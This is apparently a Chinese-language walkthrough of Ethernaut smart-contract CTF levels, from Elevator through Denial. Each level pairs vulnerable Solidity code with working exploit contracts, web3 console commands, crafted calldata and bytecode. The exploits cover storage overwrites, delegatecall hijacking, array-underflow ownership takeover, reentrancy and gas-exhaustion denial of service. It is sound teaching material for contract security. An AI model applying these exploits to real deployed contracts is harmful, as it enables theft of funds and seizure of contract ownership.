Elevator
目标:成为 top,让变量 top 变为 true
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); }//定义了一个接口,这个函数返回你是不是在最顶层 contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
|
题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写
只要让他反转两次就可以啦
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (!building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
contract BuildingEXP{ Elevator ele; bool toop = true; function isLastFloor(uint) view public returns (bool) { toop = !toop; return toop; } function attack(address _addr) public{ ele = Elevator(_addr); ele.goTo(5); } }
|
部署 hack 合约,然后执行 exploit 函数,就可以了,可以用 flag 查看一下
也可以在控制台查看 await contract.top()
Privacy
目标:解锁需要一个 key,而这个 key 是 data[2] 是 private 的
在区块链上面没有私密的东西,都是公开的,只要找到就能过关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pragma solidity ^0.4.18; contract Privacy { bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; }
}
|
evm 每次处理 32 个字节,不足 32 字节的变量相互共享并补齐 32 字节
那么我们简单分析下题目中的变量:
bool public locked = true; //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节 常量 不写入存储
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;
第一个 32 字节就是由 locked、flattening、denomination、awkwardness 组成,另外由于常量 constant 是无需存储的,所以从第二个 32 字节开始就是 data。前几个合起来是第一个 32,data[0] 是第二个 32,data[1] 是第三个 32,所以我们的是第四个
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})
这个脸,好诡异
Gatekeeper One
目标:绕过三个 gate 来执行 enter 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas.mod(8191) == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
|
调试看看
首先部署一个原来的
然后复制部署的合约地址,部署我们测试的攻击合约(我们要先部署一个可以打通的来绕过第一个关卡,方便调试看看第二个怎么弄)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| pragma solidity ^0.4.18; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract MyAgent { GatekeeperOne c;
function MyAgent(address _c) { c = GatekeeperOne(_c); } function exploit() { bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff; c.enter.gas(81910)(_gateKey); } }
|
然后点击 exploit,完成后选择中间窗口的 debug
首先,因为我们是使用另一个合约调用的,所以第一个 gate 是可以绕过的,然后我们来看一下第二个关卡需要多少 gas
接下来的一步需要的 gas 是 2,msg.gas 就是 remaining gas,想要绕过这一关就需要让 remaining gas % 8191 = 0。而在之前我们写入的值是 81910,现在的值是 81697,那么之前总消耗的值就是:81910-81697=213,再走一步再消耗 2,也就是说,如果我们想要让这一步结束之后 remaining gas % 8191 = 0 的话,或者说想要让他执行完之后刚好是 81910 的话,就需要让之前的值为:213+2+81910。所以想要绕过第二个关卡的话,值应该是 213+2+81910
第三个关卡:
1 2 3 4 5 6
| modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; }
|
- 先看最后一个判断 tx.origin 是最初的调用者,就是我们的账户,uint16 是最后 8 字节,要与 uint32 的 key 也就是最后 16 字节相等,所以 key 的最后 8 字节就是 tx.origin 的最后 8 字节
- 同时如果第一个条件 uint32 的 key 要与 uint16 的 key 相等,所以 key 的 uint32 类型 16 字节前面的八个字节要全为 0
- 再看中间那个,key 的后 16 字节还不能和整个 32 字节相等,前面只要不是 0 就不会相等
综上,key 如果是 0xFFFFFFFF0000FFFF & tx.origin 的话就正好可以
通过一个 demo 来看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pragma solidity ^0.4.18; contract GateKeeperCheck { function condition2(bytes8 _gateKey) view returns(bool a,bool b, bool c){ a = uint32(_gateKey) == uint16(_gateKey); b = uint32(_gateKey) != uint64(_gateKey); c = uint32(_gateKey) == uint16(tx.origin); } function Converter(address _player) view returns(bytes8 s,uint16 a,uint32 b, uint64 c){ s = bytes8(_player); a = uint16(_player); b = uint32(_player); c = uint64(_player); } }
|
Gatekeeper Two
目标与上一关相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
|
gate1:还是要建一个合约用来间接调用
gate2:extcodesize 是用来获取指定地址合约代码大小的,这里用内联汇编的方式来获取调用方 caller 的代码大小。一般来说,当 caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0,但是这样就不能满足第一个了。合约在初始化时代码大小为 0。所以我们可以把攻击合约的调用操作写在构造函数中
gate3:传入一个八字节的 key,把 msg.sender 的 hash 计算出来与 uint64 类型的 key 异或,要等与 0-1,也就是 0xFFFFFFFFFFFFFFFF,只要我们先用 uint64(keccak256(msg.sender)) 与 0xFFFFFFFFFFFFFFFF 进行异或,这样再次异或的时候就成了 0xFFFFFFFFFFFFFFFF,也就符合条件了
(优先级为 – 大于 ^ 大于 ==)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ function attack(address param){ GatekeeperTwo a =GatekeeperTwo(param); bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this))); a.enter(_gateKey); } }
|
把上面 exp 部署以后就可以达到目的可以提交啦
Naught Coin
目标:现在手里有一些代币,但是十年之后才能转走,先办法转走他们,使得你合约中的代币为 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { using SafeMath for uint256; string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } }
|
先看一下有多少代币
await contract.balanceOf(player)
在合约中,他 import 了一个 StandardToken.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| pragma solidity ^0.4.6; import './ERC20Lib.sol'; contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; string public name = "SimpleToken"; string public symbol = "SIM"; uint public decimals = 18; uint public INITIAL_SUPPLY = 10000; function StandardToken() { token.init(INITIAL_SUPPLY); } function totalSupply() constant returns (uint) { return token.totalSupply; } function balanceOf(address who) constant returns (uint) { return token.balanceOf(who); } function allowance(address owner, address spender) constant returns (uint) { return token.allowance(owner, spender); } function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } function approve(address spender, uint value) returns (bool ok) { return token.approve(spender, value); } event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); }
|
引用的这个合约中有两个转账函数,一个是 transfer 还有一个是 transferFrom,而题目的合约只对 transfer 进行了重写,我们可以使用题目 import 的那一个合约中的 transferFrom,先看一下 StandardToken.sol import 的 ERC20Lib.sol,看一下 transferFrom 是怎么定义的,他需要先经过 approve 批准才能使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ... function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from][msg.sender]; self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from][msg.sender] = _allowance.minus(_value); Transfer(_from, _to, _value); return true; } ... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } ...
|
使用 approve 进行授权
await contract.approve(player,toWei(1000000))
然后通过 transferFrom 来实施转账
await contract.transferFrom(player,contract.address,toWei(1000000))
Preservation
目标:拿到合约所有权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| pragma solidity ^0.4.23; contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } }
contract LibraryContract { uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
|
delegatecall 调用的时候执行的是调用的那个函数,但是用的是本合约的变量,可以写一个 exp
1 2 3 4 5 6 7 8 9 10 11
| pragma solidity ^0.4.23; contract PreservationPoc { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime;
function setTime(uint _time) public { owner = address(_time); } }
|
首先调用正常合约中的一个函数 setxxxTime(“恶意合约地址”),这样就可以把他的变量改成了我们的合约地址,再次去调用的时候就是去执行我们合约中的代码了,比如:
await contract.setSecondTime(“恶意合约的地址”)
这样 timeZone2Library 就成了恶意合约的地址,再次去执行 setSecondTime 的时候就是执行的恶意合约了,拿我们部署的来说就是改变了合约的所有者
await contract.setFirstTime(player)
一开始合约所有者不是我们,后面我们已经成为了合约的所有者,在第一次做的时候这样是不行的,要先用 setSecondTime 设置恶意合约为变量,然后 setFirstTime 来改变合约所有者,不明白怎么回事
Locked
目标:注册
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pragma solidity ^0.4.23; contract Locked { bool public unlocked = false; struct NameRecord { bytes32 name; address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; mapping(bytes32 => address) public resolve; function register(bytes32 _name, address _mappedAddress) public { NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); } }
|
【先知】智能合约审计系列——3、变量覆盖&不一致性检查
这里涉及到一个变量覆盖的问题,我们知道在 solidity 中是有两种存储状态的,一个是 storage 一个是 memory,对于 struct 和 数组 来说,默认就是 storage ,对应上面我们的第 12 行 NameRecord newRecord 会被当成一个指针,newRecord.name 默认指向第一个存储块,也就是 unlocked,所以我们可以通过修改 newRecord.name 来修改 unlocked
当输入 name=”0x0000000000000000000000000000000000000000000000000000000000000001”(63 个 0),地址任意地址时,会覆盖 unlocked 的值,使其变为 true
Recovery
目标:新生成了一个合约并转了 0.5 ether,但是丢失了合约地址,从丢失的合约中恢复 0.5 ether
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pragma solidity ^0.4.23; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Recovery { function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { using SafeMath for uint256; string public name; mapping (address => uint) public balances; constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } function() public payable { balances[msg.sender] = msg.value.mul(10); } function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } function destroy(address _to) public { selfdestruct(_to); } }
|
生成一个实例之后去看一下详情(国内 404,所以要..)
可以看到,我们的帐户给了他 1 ether,然后他又给了另一个地址 0.5 ether,这就是新创建的合约的地址,我们只需要调用新建的这个合约的 destory
mark 一下:
新建合约:0xD2F46c7A6F69d56570BF25346f0Cc893a5925828
exp:把新建的合约地址贴上去部署 RecoveryPoc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pragma solidity ^0.4.23; contract SimpleToken { string public name; mapping (address => uint) public balances; function() public payable ; function transfer(address _to, uint _amount) public ; function destroy(address _to) public ; } contract RecoveryPoc { SimpleToken target; constructor(address _addr) public{ target = SimpleToken(_addr); } function attack() public{ target.destroy(tx.origin); } }
|
把那 0.5 ether 还给了我们,同时自己销毁了
提交就可以啦
MagicNumber
目标:使用 10 个操作码输出 42
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity ^0.4.24;
contract MagicNum { address public solver; constructor() public {} function setSolver(address _solver) public { solver = _solver; }
}
|
原理:https://hitcxy.com/2019/ethernaut/ 太强了!
在合约创建的时候,用户或合约将交易发送到以太坊网络,没有参数 to,表示这是个合约创建而不是一个交易
EVM 把 solidity 代码编译为 字节码,字节码直接转换成 opcodes 运行
字节码包含两部分:initialization code 和 runtime code ,一开始合约创建的时候 EVM 只执行 initialization code,遇到第一个 stop 或者 return 的时候合约的构造函数就运行了,此时合约便有了地址
想要做这道题要构造这两段代码 initialization code 和 runtime code,initialization code 是由 EVM 创建并且存储需要用的 runtime code 的,所以首先来看 runtime code,想要返回 42,需要用 return(p,s) 但是在返回值前先要把值存储到内存中 mstore(p, v)
首先,用 mstore(p,v) 把 42 存储到内存中,v 是 42 的十六进制值 0x2a,p 是内存中的位置(不知道为啥)
1 2 3
| 0x602a ;PUSH1 0x2a v 0x6080 ;PUSH1 0x80 p 0x52 ;MSTORE
|
然后,用 return(p,s) 返回 42,p 是存储的位置,s 是存储所占的大小不明白为啥是 0x20
1 2 3
| 0x6020 ;PUSH1 0x20 s 0x6080 ;PUSH1 0x80 p 0xf3 ;RETURN
|
所以整个 runtime code 是 0x602a60805260206080f3
再来看 initialization code,首先 initialization code 要把 runtime code 拷贝到内训,然后再返回给 EVM
将代码从一个地方复制到一个地方的方法是 codecopy(t, f, s)。t 是目标位置,f 是当前位置,s 是代码大小(单位:字节),之前我们的代码大小为 10 字节
1 2 3 4 5
| ;copy bytecode to memory 0x600a ;PUSH1 0x0a S(runtime code size) 0x60?? ;PUSH1 0x?? F(current position of runtime opcodes) 0x6000 ;PUSH1 0x00 T(destination memory index 0) 0x39 ;CODECOPY
|
然后,将内存中的 runtime codes 返回到 EVM
1 2 3 4
| ;return code from memory to EVM 0x600a ;PUSH1 0x0a S 0x6000 ;PUSH1 0x00 P 0xf3 ;RETURN
|
initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c
所以,initialization codes 最后的顺序是 600a600c600039600a6000f3
两个拼起来,得到字节码是:0x600a600c600039600a6000f3602a60805260206080f3
var bytecode = “0x600a600c600039600a6000f3602a60805260206080f3”;
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)});
然后去刚才交易的详情去看一下
拿到新的合约地址之后 await contract.setSolver(“合约地址”),然后就通关了
Alien Codex
目标:拿到合约所有权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| pragma solidity ^0.4.24; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function make_contact(bytes32[] _firstContactMessage) public { assert(_firstContactMessage.length > 2**200); contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
|
由于 EVM 存储优化的关系,在 slot [0] 中同时存储了 contact 和 owner,所以我们要做的就是将 owner 变量覆盖为自己账户地址
所有函数都有 contacted 限制,所以必须要先通过 make_contact 把 contact 改成 true
make_contact() 函数只验证传入数组的长度。OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送
1 2 3 4 5 6 7 8 9
| sig = web3.sha3("make_contact(bytes32[])").slice(0, 10);
data1 = "0000000000000000000000000000000000000000000000000000000000000020";
data2 = "1000000000000000000000000000000000000000000000000000000000000001";
contract.sendTransaction({ data: sig + data1 + data2 });
|
之后通过调用 retract(),使得 codex 数组长度下溢。
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
await contract.retract()
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
再来看一下 codex 的位置:
我们要修改 slot 0 对应的 codex[?]
codex[X] == SLOAD(keccak256(slot) + X)
X 就是我们传入的那一个下标,是我们可控的,我们改成 2^256 - keccak256(slot) 这样实际上就是 2^256,总共有 2^256 个 slot,我们去找的就是 slot 2^256 也就是 slot 0
codex 的 slot 是 1,所以我们用下面的方法去计算一下
1 2 3 4 5 6
| pragma solidity ^0.4.18; contract test { function go() view returns(bytes32){ return keccak256((bytes32(1))); } }
|
2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 = 35707666377435648211887908874984608119992236509074197713628505308453184860938
所以我们把 codex 的下标改成这个之后实际修改的就是 slot 0 的地址
contract.revise(‘35707666377435648211887908874984608119992236509074197713628505308453184860938’,’0x000000000000000000000001 改成 player 的地址’)
Denial
目标:造成 DOS 使得合约的 owner 在调用 withdraw 时无法正常提取资产
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Denial { using SafeMath for uint256; address public partner; address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public { partner = _partner; } function withdraw() public { uint amountToSend = address(this).balance.div(100); partner.call.value(amountToSend)(); owner.transfer(amountToSend); timeLastWithdrawn = now; withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); } function() payable {} function contractBalance() view returns (uint) { return address(this).balance; } }
|
可以使用重入攻击的方法,把钱全部转走 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| pragma solidity ^0.4.23; contract Denial { address public partner; address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; function setWithdrawPartner(address _partner) public { partner = _partner; } function withdraw() public { uint amountToSend = address(this).balance/100; partner.call.value(amountToSend)(); owner.transfer(amountToSend); timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } function() payable {} function contractBalance() view returns (uint) { return address(this).balance; } } contract Attack{ address instance_address = 题目合约地址; Denial target = Denial(instance_address); function hack() public { target.setWithdrawPartner(address(this)); target.withdraw(); } function () payable public { target.withdraw(); } }
|
部署,点击 hack 然后提交就可以啦
还有一种方法是 assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| pragma solidity ^0.4.23; contract Denial { address public partner; address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; function setWithdrawPartner(address _partner) public { partner = _partner; } function withdraw() public { uint amountToSend = address(this).balance/100; partner.call.value(amountToSend)(); owner.transfer(amountToSend); timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } function() payable {} function contractBalance() view returns (uint) { return address(this).balance; } } contract Attack{ address instance_address = 题目合约地址; Denial target = Denial(instance_address); function hack() public { target.setWithdrawPartner(address(this)); target.withdraw(); } function () payable public { assert(0==1); } }
|